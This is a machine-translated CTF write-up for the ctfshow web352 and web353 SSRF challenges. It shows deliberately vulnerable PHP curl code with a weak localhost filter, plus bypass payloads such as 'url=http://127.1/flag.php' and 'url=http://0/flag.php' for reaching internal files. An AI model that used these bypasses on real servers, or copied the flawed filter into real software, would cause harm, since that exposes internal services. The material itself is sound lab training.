当前位置:网站首页>ctfshow-web352,353(SSRF)
ctfshow-web352,353(SSRF)
2022-07-01 07:06:00 【m0_ sixty-two million ninety-four thousand eight hundred and fo】
web-352
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
There must be http perhaps https
Cannot appear localhost and 127.0.0.1
however
(1)127.1 It can be interpreted as 127.0.0.1
url=http://127.1/flag.php
(2) stay Linux in ,0
It will also be interpreted as 127.0.0.1
(3)127.0.0.0/8
Is a loopback address network segment , from 127.0.0.1 ~ 127.255.255.254
All means localhost
(4)ip Addresses can also be accessed by expressing them in other hexadecimal forms
IP Address hexadecimal conversion (520101.com)
( This question is only useful in decimal system )
web-353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\./i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
url=http://0/flag.php
( All the methods in the above question are ok )
边栏推荐
- 在支付宝上买基金安全吗?哪里可以买基金
- 【LINGO】求七个城市最小连线图,使天然气管道价格最低
- rclone配置minio及基本操作
- 电脑有网络,但所有浏览器网页都打不开,是怎么回事?
- 【FPGA帧差】基于VmodCAM摄像头的帧差法目标跟踪FPGA实现
- [recommendation technology] matlab simulation of network information recommendation technology based on collaborative filtering
- How to choose a product manager course when changing to a product manager?
- 1286_ Implementation analysis of task priority setting in FreeRTOS
- 在券商账户上买基金安全吗
- 【深圳IO】精确食品称(汇编语言的一些理解)
猜你喜欢
随机推荐
【LINGO】求无向图的最短路问题
運維管理系統,人性化操作體驗
广发证券开户是安全可靠的么?怎么开广发证券账户
go-etcd
C language implementation [Sanzi chess game] (step analysis and implementation source code)
C语言实现【三子棋游戏】(步骤分析和实现源码)
JSP - 分页
Dirty reading, unreal reading and unrepeatable reading
Methods of downloading Foreign Periodicals
LeetCode+ 71 - 75
ESP32 - ULP 协处理器在低功耗模式下读片内霍尔传感器HALL SENSOR
WiFi settings for raspberry Pie 4
DC-4 target
ctfshow-web352,353(SSRF)
1286_FreeRTOS的任务优先级设置实现分析
图像风格迁移 CycleGAN原理
如何画产品架构图?
Using fuseki query when there are multiple models in TDB
Esp32 esp-idf ADC monitors battery voltage (with correction)
[lingo] find the minimum connection diagram of seven cities to minimize the price of natural gas pipelines